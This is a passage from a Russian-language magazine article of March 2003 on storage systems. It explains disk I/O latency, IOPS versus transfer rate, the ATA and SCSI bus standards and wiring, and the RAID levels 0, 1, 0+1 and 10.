№3(4), март 2003

операционной системы (обычно файловая система является частью операционной системы). Каждый раздел (partition) диска должен иметь файловую систему, для того чтобы операционная система смогла его использовать. Исключение составляют так называемые «сырые разделы» (raw partitions), традиционно используемые базами данных или как разделы для свопинга в Unix. Именно файловая система обеспечивает контроль целостности данных на уровне операционной системы и контролирует перемещение данных с/на устройства хранения. Но к файловым системам мы еще вернемся и обсудим их в деталях позже. А теперь назад к операции чтения данных. Предположим, что в нашем случае размер записи (блока) файловой системы равен 2 Кб (настраиваемый параметр, обычно может быть изменен при создании файловой системы), и пользовательское приложение запрашивает чтение только одного блока данных. В этом случае файловая система получит и затем отправит драйверу контроллера шины запрос на чтение 2 Кб данных. На уровне драйвера контроллера шины этот запрос будет странслирован в одну операцию чтения непрерывной последовательности (первый блок, затем несколько следующих за ним) из 4 блоков по 512 байт. Так как в нашем примере размер блока файловой системы равен 2 Кб, любая операция чтения/записи на самом деле будет работать с 4 последовательными дисковыми блоками. В нашем примере эти 4 дисковых блока являются минимальной величиной операции ввода/вывода. Суммарное время на получение нужных нам (точнее, нашему приложению) 2 Кб данных может быть разбито на несколько этапов. Время, проводимое запросом в очереди на обслуживание. Время на служебные команды. Время доступа. Время передачи. Время на получение данных файловой системой. Очередь команд может существовать как в драйвере контроллера, так и в самом контроллере. Время, проводимое запросом в очереди на обслуживание, зависит от текущей нагрузки на подсистему ввода/вывода, и может изменяться от практически нулевого до сотен миллисекунд. Размер очереди команд зависит от драйвера контроллера и также может изменяться. Служебные команды включают в себя необходимый обмен служебной информацией (в основном опрос статуса дисков и передача им нужных команд) между контроллером шины и контроллером диска. Объем данной информации сравнительно невелик, а обмен командами и ответами осуществляется на полной скорости шины. В общем случае этим временем можно пренебречь. Время доступа, в свою очередь, состоит из времени позиционирования головок, стабилизации головок на нужном цилиндре, а также времени задержки вращения. Время позиционирования – это время, необходимое на перемещение головок диска из их текущего положения на нужный цилиндр, а время стабилизации –

67

hardware это время, необходимое головкам для их выравнивания и остановки на этом цилиндре. А вот задержка вращения требует дополнительных пояснений. Временем задержки вращения (rotational latency) называется время, которое требуется пластинам на вращение до такого положения, когда начало нужного нам сектора окажется непосредственно под головкой. Логично предположить, что в среднем время задержки вращения составит половину от времени одного оборота диска, что не так уж мало даже на скоростных дисках. Кроме этого, также может возникнуть ситуация, когда начало нужного сектора находится под головками, но по какой-либо причине (переполнены кэш-буфера диска в случае операции чтения, или данные еще полностью не получены от конроллера шины в случае операции записи) не могут быть прочитаны и переданы контроллеру диска. Такие ситуации называются «пропущенным оборотом» (missed rotation) и в общем-то избежать их невозможно. Время доступа изменяется в зависимости от типа диска, расположения нужных данных на диске, но в любом случае относительно велико – десятки миллисекунд. Время передачи данных – время, необходимое диску на чтение, декодирование, проверку целостности данных и их запись в кэш-буфер контроллера диска. Данные читаются и передаются в кэш контроллера диска на скорости ITR, контроллер диска проверяет целостность данных, а затем передает данные контроллеру шины. Можно считать, что это время ограничено только ITR диска. И наконец, последняя стадия – полученные контроллером данные передаются в оперативную память компьютера (точнее, буфер файловой системы), о чем драйвер контроллера шины и сигнализирует файловой системе. Файловая система, в свою очередь, сигнализирует приложению пользователя о завершении запроса. В случае использования raw partitions данная стадия отсутствует, и данные от драйвера передаются непосредственно в буфер приложения пользователя. Еще раз замечу, что блок файловой системы является минимальной единицей обмена данными с дисковой подсистемой и не может быть фрагментирован. Хотя, конечно, блоки файловой системы с данными одного файла могут быть расположены непоследовательно, и это явление получило название внешней фрагментации. Следовательно, если бы в нашем примере запрашивалось чтение данных обьемом 2.5 Кб, это привело бы к генерации двух запросов на чтение, каждый из которых читал бы данные четырех физических блоков. Учитывайте это, создавая файловые системы, особенно файловые системы на RAID-томах. Размер блока файловой системы обязательно должен быть кратен блоку (чанку) RAID-тома. Хороший пример – 16 и 64 Кб соответственно. Об этом подробнее дальше. Итак, мы теперь представляем типичную операцию чтения данных с диска, и потенциально узкие места дисковых систем. Теперь давайте разберемся с критериями производительности диска. В предыдущей части статьи я использовал термин «общая производительность», давайте разберем его на конкретные части.

68

Принято говорить о двух основных (и противоположных друг другу) критериях производительности диска – максимальном числе операций ввода/вывода в секунду (Input/Output Per Second, IOPS), измеряемом в единицах в секунду, и максимальной скорости передачи данных (Data Transfer Rate, DTR), измеряемой в Мб/с.

IOPS характеризует максимальное число операций чтения/записи блоков данных небольшого размера (обычно 2 или 4 Kb), которые может выполнить жесткий диск в единицу времени. В основном этот показатель используется при обсуждении производительности приложений баз данных, где чтение или запись небольших объемов информации из непоследовательных блоков является типичной нагрузкой. В свою очередь, DTR обычно используется для описания максимальной скорости передачи значительного числа последовательных блоков данных. Типичный пример – редактирование цифрового видео, где большинство I/O запросов означают чтение или запись большого числа последовательных блоков данных. Важно понимать, что IOPS и DTR противоположны друг другу. Невозможно одновременно получить большое значение IOPS и большой DTR, и вот почему: IOPS – это, по сути дела, скорость, на которой диск может принимать и обрабатывать команды, позиционировать головки, т.е. затраты времени на обработку одного запроса, описанного выше. При этом объем передаваемых данных крайне невелик, и, как следствие, невелики затраты времени на передачу данных. Давайте попытаемся определить максимально возможное число IOPS для некоторого диска, исходя исключительно из законов физики и базовых характеристик диска, взятых из его технического описания. Возьмем для примера диск среднего класса со скоростью вращения 7200 об/мин и средним временем доступа 9.9 миллисекунды. Время доступа, как обсуждалось выше, состоит из времени позиционирования и стабилизации (9.9 в нашем случае), плюс время задержки вращения. Предположим, что средняя задержка вращения в долговременном плане равна половине оборота диска. Тогда время одного оборота такого диска составит 7200/60 = 120 об/с, соответственно 1/120 = 0.00833 секунды на один оборот, соответственно 4.16 миллисе-

hardware кунды на половину оборота. Среднее время обработки одного запроса составит 9.9 + 4.16 = 14.05 миллисекунды. Теоретически максимально возможное число таких операций составит 1000/14 = 71 IOPS в секунду. Если учесть проигнорированные нами операции, а также дополнительные нагрузки на диск ( тепловая калибровка и пропущенные вращения, например), это число надо уменьшить примерно на 6%. Таким образом, максимальное число IOPS-операций, которое может обеспечить такой диск, составит 66.7. При этом надо учесть, что достичь такого IOPS можно только в случае, когда объем данных, передаваемых при каждой операции ввода/вывода, минимален. Если размер одного блока данных равен 2 Kb, то суммарный объем переданных данных (он же DTR) составит всего 66.7 * 2 = 133.4 Kb в секунду! Кроме того, есть только один способ увеличить IOPS: использовать RAID-массив с большим числом дисков, работающих в параллель, т.е страйп. Что касается DTR, то в случае передачи большого числа последовательных блоков диск получает всего одну команду, содержащую адрес первого блока и необходимое количество блоков. Передача данных происходит практически на полной скорости и ограничена только ITR диска (конечно, при условии, что шина передачи не является узким местом), а число IOPS в данном случае крайне невелико. Следовательно, DTR зависит от скорости вращения диска, плотности записи, скорости, с которой контроллер диска может обрабатывать и передавать данные, и физическом расположении данных на диске (как уже упоминалось, внешние цилиндры быстрей). Отчасти DTR может зависеть от объема и «ума» кэш-памяти диска, особенно в случае операций записи. Шина данных может ограничить DTR, но только в случае использования массива из нескольких дисков. Все используемые в настоящее время шины, будь то ATA или SCSI, имеют приличный запас производительности, который не может быть исчерпан никаким одиночным диском. Увеличить DTR также можно, используя дисковый массив, но если вам действительно нужен крайне высокий DTR, а число имеющихся в распоряжении дисков недостаточно, есть еще один вариант. Вы можете косвенно повлиять на «средний» ITR одного диска, используя только его внешние дорожки. Создайте RAID-страйп из внешних разделов дисков, и прирост DTR гарантирован. При этом даже не пытайтесь использовать оставшиеся незанятыми внутренние части дисков – любая IO-операция c ними приведет к тому, что головки будут вынуждены передвигаться гораздо больше обычного и общая производительность получившейся системы катастрофически упадет. Эти два показателя – IOPS и DTR являются точкой отсчета при построении дисковых систем. Все остальное зависит только от потребностей вашего приложения. Учитывая, что невозможно получить систему, имеющую высокий DTR и большое число IOPS одновременно, прежде чем предпринимать какие-то шаги, вы должны досконально изучить имеющееся приложение, его

№3(4), март 2003

основные потребности на ввод-вывод данных, и уже потом приступать к созданию чего-либо. Общие рекомендации дать трудно, но в среднем можно считать, что приложений баз данных, электронной почты, web и proxy важно обеспечить высокий IOPS, а высокий DTR – для приложений хранения данных, резервного копирования и систем, где критичной является пропускная способность системы хранения. Итак, именно два вышеупомянутых критерия производительности дисковых систем, IOPS и DTR, мы и будем использовать во второй части статьи, где поговорим о наиболее распространенных на текущий момент технологиях шин дисков.

Часть 2 Теперь давайте передвинемся от обсуждения дисков к обсуждению шин данных – технологий, позволяющих общаться компьютеру и дискам. В этой части статьи мы поговорим о двух наиболее распространенных интерфейсах дисков – ATA (Advanced Technology Attachment) и SCSI – (Small Computer Systems Interface). Давайте снова начнем с терминологии. Любой дисковый интерфейс использует свой протокол. Под протоколом надо понимать набор правил, следуя которым, устройства могут беспрепятственно взаимодействовать друг с другом. Протоколы ATA и SCSI можно рассматривать, как состоящие из двух уровней. Нижний – физический – уровень определяет электрические и физические характаристики интерфейса, такие как число проводников, схему кодирования сигналов и прочее. Верхний – логический – уровень определяет непосредственно команды обмена

69

hardware данными. Вследствие такой двухуровневой архитектуры появляется возможность изменять один из уровней, и эти изменения никак не повлияют на второй. Что немаловажно в мире быстро изменяющихся технологий. Физический уровень включает в себя: число проводников шины и их использование. Часть проводников используется для передачи данных, а часть для передачи команд управления; частоту шины; величину напряжения на проводниках; электрическое сопротивление шины; минимальную и максимальную длину проводников. В свою очередь, логический уровень включает:

максимально возможное число устройств на шине; способ контроля целостности передаваемых данных; метод передачи данных; метод передачи команд управления. Нарушение любого из приведенных выше параметров, как со стороны производителя устройств, так и со стороны сборщика, неминуемо приведет к возникновению проблем той или иной сложности. Поэтому со стороны системного администратора очень важно соблюдать соответствующие стандарты. Теперь более подробно об ATA- и SCSI-протоколах. Начнем с ATA. ATA как стандарт был создан в 80-х годах прошлого века. Изначально ATA использовал 16-битную параллельную шину, но на текущий момент уже полностью определен и начинает использоваться Serial ATA – ATA-протокол для последовательной шины. Замечу, что в настоящее время широко распространен второй (некорректный) термин для обозначения ATA-протокола – (E)IDE. Как я уже говорил выше, термин EDIE был придуман компанией Western Digital и означает только размещение контроллера диска на самом диске (до ATA контроллер диска существовал как отдельный внешний блок или отдельная плата). Western Digital была одной из первых в созданиии и продвижении на рынок ATA-дисков, поэтому ее термин прилип ко всем устройствам ATA. В настоящее время с появлением новых стандартов, таких как ATA-3, ATA-5, ситуация c терминологией начинает исправляться. Существует несколько стандартов на ATA-шину. Стандарт ATA-1 на физическом уровне определял в качестве интерфейса кабель из 40 проводников, с максимальной длиной 45 см. Предусматривал поддержку двух устройств на шине – master и slave. Была предусмотрена поддержка только жестких дисков. Методы сигнализации и частота на шине определялись дисками, а не контроллером шины. Как я уже говорил, в ATA-стандарте контроллер шины не предусмотрен – драйвер операционной системы общается с дисками напрямую. В ATA-1 были определены режимы PIO (Programmed I/O) 0, 1 и 2 с пиковой пропускной способностью 3.3, 5.2 и 8.3 Мб/с соответственно. Заметьте, что пропускная способность ATA-шины в режиме PIO-2 также являлась теоретическим пределом для используемой в то время шины ISA. Кроме того, отсутствовал какой бы то ни было контроль целостности передаваемых данных.

70

Со временем, когда пропускной способности шины ISA стало катострофически не хватать, получили более широкое распространение шины VESA и PCI. Что интересно, отчасти необходимость в более производительной системной шине была вызвана появлением на рынке Microsoft Windows. После появления настолько производительных шин (PCI – 32 бита, 33 МГц) жесткие диски снова стали узким местом в системе. Как следствие, был предложен новый стандарт – ATA-2. В ATA-2 были определены режимы PIO 3 и 4, а также режим DMA (Direct Memory Access, известный как busmastering) с пиковыми пропускными способностями 11.1 и 16.6 Мб/с соответственно. На самом деле пропускная способность шины была несколько ниже, но это непринципиально, так как сами жесткие диски не могли выдать больше 8-10 Мб/с. Важной особенностью ATA-2 стало определение режима LBA (Logical Block Addresing) для дисков размером больше 504 Мб. С этого времени этот режим стал использоваться для преодоления лимитов, накладываемых схемой адресации ATA-устройств и тем, как эту аресацию использовали операционные системы от Microsoft. До появления LBA пользователи были вынуждены устанавливать специальный драйвер, что влекло за собой дополнительные проблемы. Вскоре после появления ATA-2 была разработана его улучшенная версия, впоследствии получившая имя ATA-3. Основным новшеством в ATA-3 стало появление SMARTтехнологии (Self Monitoring Analisys and Report Technology), позволяющей диску самостоятельно отслеживать свое состояние и сообщать о потенциальных проблемах. На первом этапе отслеживалось не так много параметров, в основном температура и количество сбойных и переназначенных (remapped) секторов. Производительность ATA-3 осталась такой же, как и у ATA-2.

ATA-4 был определен в конце 90-х годов. В этом стандарте впервые появился режим UltraATA-33. При использовании этого режима пиковая скорость передачи данных по шине могла достигать 33 Мб/с. Также появился новый тип ATA кабеля с 80 проводниками, где 40 новых проводников являются «землей» и используются для контроля ошибок на шине. Но основным новшеством в ATA-4 стало использование CRC для контроля целостности передаваемых по шине данных. Вычисление CRC производится для

hardware каждого переданного пакета данных, как самим диском, так и ATA-драйвером операционной системы. В конце передачи каждого пакета данных драйвер передает вычисленный им CRC контроллеру диска. И уже контроллер диска сравнивает собственный и полученный от драйвера CRC, а в случае ошибки сообщает об этом драйверу, после чего драйвер повторяет команду, вызвавшую ошибку. Кроме этого, в ATA-4 была анонсирована поддежка перекрывающегося ввода/вывода (overlapped IO), а также очереди команд. К сожалению, я не знаю, была ли реализована поддержка этих функций в какой-либо операционной системе на тот момент времени.

ATA-5 появился сравнительно недавно и снова увеличил производительность АТА-шины в два раза. Новый режим UltraATA-66 позволяет достичь пропускной способности 66 Мб/с. Кроме того, возможности SMART в ATA-5 дисках были расширены, и как часть SMART была реализована автоматическая проверка целостности данных на дисках. Ранее такая проверка целостности данных была реализована только в SCSI-дисках.

ATA-5 диски считывают данные и ECC из каждого физического сектора, и в случае ошибки перемещают данные из проблемного сектора в резервный. Естественно, это делается в свободное от «основной работы» время. В рамках работ по созданию ATA-5 также разрабатывалась (и только сейчас разработка заканчивается) новая последовательная ATA-шина, получившая название SerialATA. Эта новая последовательная шина имеет несколько преимуществ, из которых два основных – это уменьшенные физические размеры разъемов и снятие лимита в 45 см на длину ATA-кабеля. Рано или поздно эта шина станет основной в настольных системах, но на текущий момент она все еще не получила существенного распространения.

Ну и для полноты картины необходимо упомянуть о ATAPI-протоколе, используемом для подключения к ATAшине устройств, дисками не являющихся, т.е. CDROM, DVD и стримеров. Так как стуктура команд этих устройств абсолютно несовместима со структурой команд дисков, был введен протокол более высокого уровня, использующий в качестве транспорта протокол ATA и названный ATAPI (ATA Packet Interface). Для этого наряду с драйвером ATA используется еще один драйвер, инкапсулирующий команды и данные в пакеты ATA. Такие инкапсулированные пакеты выглядят как обычные пакеты данных для жесткого диска на той же ATA-шине. ATAPI позволил стандартизовать интерфейсы дисковых устройств и упростить работу с ними, что, в свою очередь, привело к еще более широкому распространению ATA как шины передачи данных. Напоследок несколько советов и слов о наиболее распространенных проблемах с ATA: Не пытайтесь использовать UltraATA-режимы и обычные 40-проводниковые АТА-кабели. Работать не будет. Не устанавливайте на одном шлейфе UltraATA- и ATAустройства. Работать будет, но режим работы шины будет соответствовать режиму работы наиболее медленного устройства.

ATA-драйвера большинства операционных систем позволяют вручную установить режим работы шины. Если вы испольуете Windows, просто установите драйвера, поставляемые в комплекте с материнской платой. Если вы используете Linux, прочитайте документацию на утилиту hdparm. В любом случае возможен некоторый прирост производительности. Если вам необходимо за относительно небольшие деньги получить сравнительно приличную производительность дисковой подсистемы, обратите внимание на ATA RAID контроллеры. Сейчас эти устройства стабильны, недороги и поддерживаются большинством операционных систем. Стандарт ATA задумывался как максимально простая и дешевая технология подключения дисковых устройств в настольных системах. Именно поэтому типичный одиночный ATA-диск обычно обходит аналогичный диск SCSI по всем параметрам. Причина этого проста – ATA-диски являются гораздо более простыми устройствами, чем диски SCSI и, соответственно, гораздо менее «умными». Кроме того, в ATA-протоколе отсутствует комплексная система команд SCSI, необходимая для менеджмента до 15 устройств на одной шине, и связанные с такой системой дополнительные накладные расходы. К тому же ATA-диск, а не контроллер шины управляет ATA-шиной, и пересылает данные в выделенном режиме, он не разделяет шину с другими устройствами. Но у ATA есть и серьезные недостатки. Так как управление каждым ATA-устройством осуществляется непосредственно операционной системой, скорость передачи данных сильно зависит от частоты процессора компьютера. И даже на относительно быстрых системах передача заметного обьема данных по АТА-шине «сьест» вплоть до 60 % процессорного времени. В случае же использова-

№3(4), март 2003

71

hardware ния SCSI-устройств основная часть работы по передаче данных выполняется контроллером шины и нагрузка на процессор минимальна. Вторым большим недостатком ATA является небольшое число дисков, которые могут быть установлены в одной системе. Так как к одной ATA-шине могут быть подключены только 2 устройства, максимальное число дисков ATA редко превышает 4 в одной системе. И ограничение на длину ATA-кабеля играет в этом не последнюю роль. Именно поэтому я заметил в начале статьи, что ATA-диски идеально подходят для настольных систем, но абсолютно неприменимы в системах среднего класса и выше. Возможно, с распространением SerialATA расстановка сил несколько изменится, но сейчас еще рано об этом говорить. Тем не менее если у вас возникла необходимость получить сколько-нибудь приличное число IOPS или высокий DTR, у вас есть только один вариант – использовать протокол SCSI в одной из его инкарнаций. В 1981 году Shugart Assosiates (позже переименованная в Seagate Technologies) и NCR Technologies совместно разработали и выдвинули на рассмотрение новый дисковый интерфейс. После некоторых изменений интерфейс был одобрен и в 1986 году принят в качестве стандартного, сейчас известного как SCSI-1. После достаточно большого перерыва, в 1994 году ANSI принял новый стандарт – SCSI-2. На самом деле SCSI-2 – шина с пропускной способностью 10 и 20 Mб/с появилась на рынке заметно раньше, что является типичной картиной для быстроразвивающихся технологий. Очень скоро, в 1996 году появился первый стандарт SCSI-3 с поддержкой Ultra-устройств и пропускной способностью 20 и 40 Mб/с. Вслед за ним в 1998 году появилось новое расширение стандарта SCSI-3 – Ultra2 с пропускной способностью 80 Mб/с. Одной из особенностей Ultra2 стало использование LVD (Low Voltage Differential) протокола для увеличения максимально допустимой физической длины SCSI-шины. Однако в 2000 году появляется новый стандарт Ultra160 SCSI с пропускной способностью 160 Mб/с, который на настоящий момент и является основным. И уже в 2002 году появились первые устройства, поддерживающие Ultra320 SCSI, новый протокол, основной конкурент Fibre Channel систем хранения. Итак, SCSI-протокол. Как и технология ATA, SCSI-протокол определяет как физический, так и логический уровень. Физический уровень, где определяется число устройств на шине, длина проводников, уровни сигнала и прочие физические характеристики, наиболее подвержен изменениям. Фактически, обсуждая SCSI-стандарты, можно говорить только об изменениях физического уровня. При этом логический уровень, определяющий команды управления SCSI-устройствами и шиной, остался практически неизменным, вплоть до того, что логический уровень SCSI-протокола также используется в FC-устройствах. Поэтому основное внимание мы обратим именно на физические характеристики SCSI-шины.

SCSI-шина. Снова немного терминологии.

SCSI-устройство, оно же – любое устройство, подклю-

72

ченное к SCSI-шине. Обсуждая физическую SCSI-шину, обычно говорят о 2-х типах устройств – targets и initiators.

Initiator, он же контроллер шины, он же SCSI-адаптер. Устройство, управляющее SCSI-шиной и соединяющее ее с системной шиной.

Target, он же просто SCSI-устройство. Любое устройство (диск, стример, CD-ROM), подключенное к SCSI-шине. Собственно, поэтому и используют такие «относительные» термины как target и initiator. Иногда это удобно, так как в некоторых инсталляциях могут быть использованы два SCSI-адаптера, подключенные к одной SCSI-шине (так называемый dual-initiator). При этом взаимно друг к другу они являюся iniator и target. Я использую наиболее подходящие к конкретной ситуации термины. Контроллер шины является главным во всей этой связке, и управляет работой всей шины в целом и каждого SCSI-устройства по отдельности, передавая им команды управления. SCSI targets в обычном состоянии «отсоединены» от SCSI-шины, и могут подключаться к ней только после разрешения контроллера шины. Они подключаются к шине только для получения команд и передачи данных, в остальное время targets работают автономно. Контроллер шины управляет устройствами посредством девяти выделенных сигнальных линий. Существует два физических типа параллельной SCSIшины – 8-битная Narrow и 16-битная Wide. В данном случае число бит определяет число проводников, предназначенных для передачи данных по шине. Максимальное число устройств, подключеных к шине, зависит от типа используемого SCSI-протокола. В настоящее время это 7 targets для Narrow SCSI, 15 для Wide SCSI и 127 для FC. На текущий момент используются 3 типа параллельной SCSI-шины – single-ended (SE), differential (HVD) и низковольтная differential (LVD). Все они несовместимы между собой, так как каждый тип определяет свои уровни сигнала и назначение проводников.

SE SCSI является старейшей и наименее надежной. В данном типе шины логическая 1 определяется низким уровнем сигнала на проводнике (0-0.5 В), а логический 0 определяется высоким уровнем сигнала (2.5-5 В). При таких низких уровнях сигнала максимальная длина шины не может превышать 1.5 м. для Ultra SCSI-2 и 3 м. для Fast SCSI-2. Для преодоления этих лимитов был разработан differential SCSI, сейчас называемый HVD. В HVD используются «плюс/минус» пары сигнальных линий с напряжением от 0 до 12 В для каждой линии данных, и логическая 1 определяется, когда сигнал на «плюс» проводнике выше, чем на «минус»; и логический 0, когда сигнал на «плюс» проводнике ниже, чем на «минус». Согласно стандарту, максимальная длина HVD SCSI шины не должна превышать 25 м.

LVD, пришедший на смену HVD, также использует +/пары сигнальных линий, но с напряжением 5 В, а не 12. В резульате LVD оказался более дешевым и получил большее распространение, хотя и ценой снижения максимальной длины шины. Важно понимать, что все перечисленные типы устройств несовместимы между собой. Хотя LVD-устройства, поключенные к SE-шине, будут работать, но только с деградацией их производительности до SCSI-2. И наоборот:

hardware единственное подключенное к LVD-шине SE-устройство приведет к переключению всей шины в SCSI-2 режим. Также важно знать, что LVD- и HVD-устройства абсолютно несовместимы, хотя и имеют одинаковые интерфейсы. И хотя на большинстве LVD-устройств существует защита от подключения их к HVD-шине, будьте внимательны. Подключение LVD-устройства к HVD-шине (и наоборот) может привести к полному выходу из строя всех подключенных к шине устройств, включая SCSI-контроллер. Для контроля целостности любой SCSI-шины используется ее терминация с обеих строн. Осуществляется терминация при помощи терминаторов – резистивной нагрузки, стабилизирующей работу шины. Существуют два типа терминации – активный и пассивный. Замечу, что использование разных типов терминаторов на разных сторонах шины неминуемо приведет к проблемам. Пассивная термининация в настоящее время используется только для SE-шины. Активная терминация может быть использована для любого типа шины, и может осуществляться как самим устройством, так и внешним терминатором (LVD-устройства не имеют встроенного терминирования, необходимо использовать внешние активные терминаторы). И немного о SCSI-коннекторах. В настоящее время используются коннекторы 50-pin SCSI-2, 68-pin SCSI-3 и 80-pin SCA. На старых устройствах также можно встретить 50pin разьемы Centronics-50, DB50 (3 ряда контактов). SCAконнекторы обычно используются для hot-plug дисков, и кроме 68 проводников включают проводники электропитания и проводники назначения SCSI ID для устройства. Хотя при необходимости диск, имеющий SCA-интерфейс, может быть подключен к 68-pin SCSI-шине через переходник. Вот и все о физическом устройстве SCSI-шины.

Часть 3 В предыдущих частях мы разобрались с низкоуровневымы устройствами, используемыми в системах хранения данных, характеристиками производительности и протоколами. Пришло время поговорить о возможных моделях устройства самих систем хранения. В этой части мы рассмотрим используемые в реальной жизни технологии, начиная с самых простых и закан-

№3(4), март 2003

чивая комплексными RAID-системами. Но, как обычно, немного терминологии для начала.

RAID (Redundant Array of Independed Disks) – технология, позволяющая получить быструю, лекгую в управлениии надежную систему хранения. Чанк (chunk) – минимальный размер записи для RAIDтома. Иногда его также называют шириной страйпа. Рассматривайте его как размер логического блока для дисков в массиве. Обычно размер чанка может быть выбран при создании массива и составляет от 16 до 128 Кб. Но подробней об этом ниже. Страйп (stripe) – ряд или «колонка» чанков по одному с каждого диска. Также этот термин может быть использован для обозначения RAID-0 массива.

Cтрайпинг (striping) – тот или иной метод логического обьединения чанков для формирования страйпа. Зеркалирование (mirroring) – технология, обеспечивающая копирование данных с одного носителя на другой в реальном времени. Простейший способ получить систему хранения с резервированием всех данных. Аппаратный RAID – устройство RAID, созданное и поддеживаемое на аппаратном уровне. При этом для операционной системы такое устройство выглядит как один физический жесткий диск – отдельные диски, составляющие данное устройство, системе невидны. Наиболее удобное, надежное и дорогое решение. Что важно, такой массив может быть организован, как полностью независимое внешнее устройство, со своим корпусом, блоками питания, предоставляющее компьютеру только тот или иной интерфейс физического уровня (SCSI или Fibre Channel, например). Програмный RAID – RAID-устройство, созданное программным обеспечением операционной системы. Основными недостаткоми по сравнению с аппаратным является «видимость» каждого диска для операционной системы (и конечно для вас, как системного администратора), а также более низкая производительность практически на всех уровнях RAID. Однако данная технология является достаточно популярной и реализована практически во всех операционных системах. Достаточно для начала, подробней поговорим ниже. Давайте теперь рассмотрим возможные схемы устройства систем хранения. Тема неоднократно обсуждалась, но вкратце повторим, тем более что число возможных вариантов невелико. Все они имеют свои преимущества и свои недостатки, и единственная тонкость состоит в выборе правильного – того, который обеспечит вам нужную производительность и надежность, и который можете себе позволить. Первая, и наиболее распространенная схема – ПКД (JBOD – Just a Bunch Of Disks) – Просто Куча Дисков (шутка). Собственно, это куча и есть – несколько дисков, используемых каждый «сам по себе». На каждом диске создаются разделы, на каждом разделе создается файловая система. Наиболее дешевый, и наименее надежный способ хранения. Идеален для рабочих станций и небольших серверов, конечно, при условии регулярного резервного копирования.

RAID-массивы. В общем случае любой RAID-массив можно рассматривать как совокупность методов зеркалирования и того или иного вида страйпинга. Как я уже

73

hardware упоминал выше, может быть реализован как аппаратными, так и программными средствами. Существует только 5 основных видов RAID, их мы и рассмотрим в первую очередь. Другие виды мы также рассмотрим, хотя они являются только той или иной комбинацией этих пяти основных. Сама концепция RAID была предложена в 1988 году в университете Берклей. Концепция предлагала относительно дешевый метод создания дисковых систем большой емкости и надежности, используя стандартные компоненты. Был предложен один метод увеличения емкости системы и 5 методов обеспечения повышенной надежности. Эти методы получили имена RAID 0, 1, 2, 3, 4 и 5 и до сих пор используются в практически неизменном виде. Основой всех уровней (за исключением RAID-1) является страйпинг. В результате страйпинга логические блоки RAID-тома равномерно распределяются, чередуясь по всем физическим дискам массива. Премуществами такого подхода являются увеличение емкости системы, а также увеличение производительности и надежности в случае с RAID уровней 3, 4 и 5. Повышенная надежность (защита данных) обеспечивается за счет поддержания в реальном времени копии всех данных на дополнительном (или нескольких дополнительных) дисках в случае RAID-1, и за счет контроля четности в случае RAID уровней 3, 4 и 5. Заметьте, что в случае RAID-1 не происходит увеличения емкости всей системы, а существует только прирост производительности на операциях чтения данных. Хотя такая конструкция и представляет определенный интерес, давайте более детально рассмотрим страйпинг с контролем четности. Предположим, что в нашем распоряжении имеется дисковый массив из 5 дисков. В случае если этот массив сконфигурирован как RAID уровней 3, 4 или 5, суммарная емкость четырех дисков будет использована непосредственно для данных, а емкость одного диска будет использована для хранения данных четности. Каждый страйп в таком массиве будет состоять из пяти чанков, четыре из которых будут содержать полезные данные, а пятый чанк будет содержать данные четности. Данные четности представляют собой результат операции «исключающее или» (XOR), производящейся побитно для каждой «колонки» бит в страйпе. В случае отказа одного из дисков в таком массиве, данные чанков отказавшего диска могут быть восстановлены с использованием данных функционирующих дисков и данных четности. При этом, даже при отсутствии одного из дисков, дисковая система продолжит работу, хотя и значительно медленней, в так называемом «деградировавшем режиме» (degraded mode). Важно понимать, что сама технолоия RAID не контролирует целостность данных. Чанки четности не считываются в процессе нормальной работы, а контроль целостности данных возложен на рассмотренные выше механизмы защиты дисков и шин данных (ECC секторов диска и контроль четности на шине). После замены отказавшего диска, его данные будут постепенно восстановлены, и массив вернется к нормаль-

74

ной работе. Процесс такого восстановления называется «реконструированием» (reconstruction) массива и может быть инициирован, как автоматически после замены отказавшего диска, так и вручную. Одним из неочевидных свойств любого RAID-массива являтся его пониженная, по сравнению с отдельным диском, средняя продолжительность бесперебойной работы (MTBF, Mean Time Betwen Failures). Действительно, если MTBF одиночного диска составляет 1000000 часов, то MTBF дискового массива из 15 таких дисков составит 66666 часов, а если предположить, что у вас используется 10 таких массивов, то их суммарный MTBF составит всего 6666 часов – немногим более полугода, и чем дольше эти диски эксплуатировались, тем выше вероятность их выхода из строя. Разобравшись с принципами работы RAID, давайте более детально рассмотрим каждый из его уровней.

RAID-0. Представляет собой простой страйп нескольких дисков, без контроля четности. Не обеспечивает защиты данных, но обеспечивает максимальную производительность на всех операциях ввода/вывода. Однако отказ одного любого диска в такой системе приведет к полной потере всех данных массива. Используя такой массив, вы должны осознавать риск, на который идете, и регулярно резервировать имеющиеся данные.

RAID-1. Представляет собой простое копирование данных с одного диска на один или более резервных дисков. Постейший уровень RAID, обеспечивающий защиту данных и прирост производительности для операций чтения. В случае выхода одного из дисков из строя, все операции производятся с работающим диском, хотя при этом и теряется защита данных. Прирост производительности обеспечивается за счет того, что операции чтения могут быть выполнены с любого диска. В то же время все операции записи производятся всегда только на один из дисков. Кроме того, если используется программый RAID-1, на операциях записи может наблюдаться снижение производительности по сравнению с отдельным диском, как следствие «двойной» передачи данных по шине. Данный уровень RAID можно рекомендовать для использования в особо критичных системах и для системных разделов. Производными от этих двух уровней RAID являются RAID-0+1, RAID-10 и RAID-100. Эти уровни уже являются двумерными массивами, хотя и абсолютно различны.

RAID-0+1 можно рассматривать как двумерный массив дисков, представляющий собой миррор одного RAID-0 тома на другой RAID-0 том. Такая конструкция обеспечивает прирост производительности аналогично обычному RAID-1. Но надо заметить, что надежность такого массива крайне мала. Выход из строя одного диска приводит к полной потере одного из RAID-0 томов и, как следствие, переходу миррора в деградированный режим. Кроме того, возможным следствием является потеря всех данных массивы при выходе из строя дополнительно еще одного их дисков работающего RAID-0 тома.

RAID-10. Можно рассматривать как двумерный массив, но в отличие от RAID-0+1, являющийся страйпом нескольких RAID-1 томов. Легко заметить, что при таком же числе дисков и емкости, что и в RAID-0+1, RAID-10 обеспечи-

hardware вает гораздо более высокие уровни производительности и надежности. Действительно, в случае выхода из строя одного из дисков будет наполовину снижена производительность только одного RAID-1 тома, а массив остается полностью работоспособным. Таким образом, данные будут потеряны, только если из строя выйдет второй диск из уже поврежденной пары, вероятность чего относительно невелика.

